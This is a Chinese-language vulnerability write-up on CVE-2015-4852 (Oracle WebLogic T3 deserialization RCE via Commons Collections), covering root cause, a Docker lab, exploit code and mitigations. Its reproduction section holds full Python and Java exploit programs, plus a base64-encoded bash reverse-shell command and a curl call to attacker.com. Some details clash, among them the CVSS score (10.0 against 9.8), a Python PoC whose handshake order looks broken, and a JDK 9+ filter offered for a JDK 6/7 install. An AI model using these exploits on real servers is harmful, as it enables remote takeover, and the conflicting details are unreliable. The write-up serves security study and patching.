一、漏洞简介¶
1.1 漏洞背景¶
2015年11月,FoxGlove Security安全团队发布了一篇名为《What do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and your application have in common? This vulnerability》的研究文章,披露了Java反序列化漏洞的广泛影响。该漏洞源于Apache Commons Collections库中的反序列化安全问题,而Oracle WebLogic Server使用了该库,因此受到严重影响。
这是Java生态系统中第一个被广泛认知的反序列化远程代码执行漏洞,开启了Java反序列化攻击时代,对整个Java安全领域产生了深远影响。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2015-4852 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | 反序列化远程代码执行漏洞 |
| 披露时间 | 2015-11-18 |
| 影响组件 | Oracle WebLogic Server 重大 |
- CVE编号:CVE-2015-4852
- 危害等级:严重(Critical)
- CVSS评分:10.0(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
- 漏洞类型:反序列化远程代码执行(Deserialization RCE)
- 攻击复杂度:低
- 权限要求:无需认证
- 用户交互:无需用户交互
补充核验信息:公开时间:2015-11-18;NVD 评分:9.8(CRITICAL);CWE:CWE-502。
二、影响范围¶
2.1 受影响的版本¶
- Oracle WebLogic Server 10.3.6.0
- Oracle WebLogic Server 12.1.2.0
- Oracle WebLogic Server 12.1.3.0
- Oracle WebLogic Server 12.2.1.0
2.2 不受影响的版本¶
- Oracle WebLogic Server 10.3.6.0 + 2015年10月CPU补丁及以上
- Oracle WebLogic Server 12.1.3.0 + 2015年10月CPU补丁及以上
- Oracle WebLogic Server 12.2.1.1 及以上版本
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 目标WebLogic Server开放T3协议端口(默认7001)
- 目标服务器使用的Commons Collections版本存在漏洞
- 攻击者能够向目标发送T3协议数据
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
WebLogic Server使用T3协议进行服务器间通信和RMI调用。攻击者可以通过T3协议发送恶意的序列化对象,当WebLogic反序列化该对象时,触发Apache Commons Collections中的恶意代码执行链。
攻击流程:
攻击者 → 构造恶意序列化对象 → T3协议封装 → 发送到WebLogic 7001端口
→ WebLogic接收并反序列化 → 触发Commons Collections gadget → 执行任意命令
3.2 源码层面的根因分析(结合源码与补丁对比)¶
问题根源:org.apache.commons.collections.functors.InvokerTransformer
// InvokerTransformer.java - 存在危险的反射调用
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
throw new FunctorException("InvokerTransformer: " + ex.getMessage());
}
}
}
漏洞调用链:
// ChainedTransformer 允许链接多个Transformer
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
T3协议握手过程:
客户端发送:
t3 10.3.6
AS:255
HL:19
MS:10000000
PU:t3://localhost:7001
服务器响应:
HELO:10.3.6.false
AS:255
HL:19
MS:10000000
恶意T3协议数据结构:
// 序列化对象封装
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(maliciousObject);
oos.flush();
// T3协议头
String header = "t3 10.3.6\nAS:255\nHL:19\nMS:10000000\n\n";
byte[] payload = header.getBytes();
payload = concat(payload, baos.toByteArray());
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用Docker快速搭建环境:
# 拉取存在漏洞的WebLogic镜像
docker pull vulfocus/weblogic-cve_2015_4852
# 启动容器
docker run -d -p 7001:7001 --name weblogic-vuln vulfocus/weblogic-cve_2015_4852
# 验证服务是否启动
curl -I http://localhost:7001/console
手动搭建环境(用于学习):
# 下载WebLogic 10.3.6
wget https://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar
# 安装JDK 1.6或1.7
sudo apt-get install openjdk-7-jdk
# 静默安装WebLogic
java -jar wls1036_generic.jar -mode=console
# 创建域
cd /root/Oracle/Middleware/wlserver_10.3/common/bin
./config.sh
4.2 PoC 演示与测试过程¶
Python PoC脚本:
#!/usr/bin/env python3
# CVE-2015-4852 WebLogic T3 Deserialization RCE PoC
# 仅供安全研究和授权测试使用
import socket
import struct
import subprocess
import sys
from pathlib import Path
def generate_payload(command):
"""
使用ysoserial生成恶意序列化对象
需要先安装ysoserial: https://github.com/frohoff/ysoserial
"""
ysoserial_path = "ysoserial-all.jar"
if not Path(ysoserial_path).exists():
print("[-] ysoserial-all.jar not found!")
print(" Download from: https://github.com/frohoff/ysoserial/releases")
return None
cmd = ["java", "-jar", ysoserial_path, "CommonsCollections1", command]
result = subprocess.run(cmd, capture_output=True)
return result.stdout
def create_t3_packet(payload):
"""
构造T3协议数据包
"""
# T3协议握手头
header = (
b"t3 10.3.6\n"
b"AS:255\n"
b"HL:19\n"
b"MS:10000000\n\n"
)
# 序列化对象标记
marker = b"\x00\x00\x00\x01" # 对象数量
length = struct.pack(">I", len(payload))
return header + marker + length + payload
def exploit(target, port, command):
"""
发送恶意T3数据包执行命令
"""
print(f"[*] Generating payload for command: {command}")
payload = generate_payload(command)
if not payload:
return False
print(f"[*] Payload size: {len(payload)} bytes")
packet = create_t3_packet(payload)
print(f"[*] Connecting to {target}:{port}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target, port))
# 发送T3握手
sock.recv(1024) # 接收服务器响应
sock.send(packet)
response = sock.recv(1024)
print(f"[+] Response: {response}")
sock.close()
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: python3 exploit.py <target> <port> <command>")
print("Example: python3 exploit.py 192.168.1.100 7001 'touch /tmp/pwned'")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
command = sys.argv[3]
exploit(target, port, command)
使用Java原生PoC:
import java.io.*;
import java.net.*;
import java.util.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
public class WebLogicExploit {
public static void main(String[] args) throws Exception {
String target = args[0];
int port = Integer.parseInt(args[1]);
String cmd = args[2];
// 构造恶意调用链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {cmd})
};
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建触发Map
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
// 使用AnnotationInvocationHandler触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Override.class, lazyMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(instance);
oos.flush();
byte[] serialized = baos.toByteArray();
// 发送到目标
Socket socket = new Socket(target, port);
DataOutputStream dos = new DataOutputStream(socket.getOutputStream());
// T3协议头
String header = "t3 10.3.6\nAS:255\nHL:19\nMS:10000000\n\n";
dos.write(header.getBytes());
dos.flush();
Thread.sleep(1000);
// 发送序列化数据
dos.write(serialized);
dos.flush();
socket.close();
System.out.println("[+] Payload sent successfully!");
}
}
验证命令执行:
# 执行反弹shell
python3 exploit.py 192.168.1.100 7001 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAwLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
# 或执行简单命令验证
python3 exploit.py 192.168.1.100 7001 "curl http://attacker.com/pwned.txt"
# 检查WebLogic日志
docker exec -it weblogic-vuln tail -f /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/logs/AdminServer.log
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
- 立即应用Oracle CPU补丁:
- 2015年10月关键补丁更新(CPU)
-
2016年1月及后续CPU补丁
-
升级到安全版本:
- WebLogic Server 12.2.1.3 或更高版本
-
WebLogic Server 14.1.1.0 或更高版本
-
下载地址:
https://support.oracle.com/epmos/faces/DocumentDisplay?id=2161874.1
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:禁用T3协议(推荐)
# 通过WebLogic Console配置
# 登录管理控制台 → 环境 → 服务器 → 选择服务器 → 协议 → 通用
# 取消勾选 "启用T3协议"
# 或通过WLST脚本
connect('weblogic', 'password', 't3://localhost:7001')
edit()
startEdit()
cd('/Servers/AdminServer')
set('T3Enabled', 'false')
save()
activate()
方案二:限制T3协议访问
# 配置网络防火墙规则
iptables -A INPUT -p tcp --dport 7001 -s ! 10.0.0.0/8 -j DROP
# 或在WebLogic中配置连接过滤器
# config.xml 中添加:
<ConnectionFilter>
<ConnectionFilterRule>
<TargetAddress>*</TargetAddress>
<TargetPort>7001</TargetPort>
<Protocol>T3</Protocol>
<Action>DENY</Action>
</ConnectionFilterRule>
</ConnectionFilter>
方案三:升级Commons Collections库
# 替换漏洞版本
cd /root/Oracle/Middleware/wlserver_10.3/server/lib
mv commons-collections-3.2.0.jar commons-collections-3.2.0.jar.bak
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.2/commons-collections-3.2.2.jar
# 重启WebLogic
./stopWebLogic.sh
./startWebLogic.sh
方案四:启用序列化过滤器(JDK 9+)
# 在启动脚本中添加JVM参数
JAVA_OPTIONS="${JAVA_OPTIONS} -Djdk.serialFilter=!*"
JAVA_OPTIONS="${JAVA_OPTIONS} -Dsun.misc.Unsafe.allowedExceptionTypes="
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Oracle Security Alert CVE-2015-4852: https://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html
- Oracle Critical Patch Update October 2015: https://www.oracle.com/technetwork/topics/security/cpuoct2015-2365950.html
- NVD CVE-2015-4852: https://nvd.nist.gov/vuln/detail/CVE-2015-4852
6.2 其他技术参考资料¶
- FoxGlove Security 原始研究报告: http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- Apache Commons Collections 安全公告: https://commons.apache.org/proper/commons-collections/security-reports.html
- ysoserial 工具: https://github.com/frohoff/ysoserial
- Java反序列化漏洞深度分析: https://www.ibm.com/developerworks/library/se-serialization-security/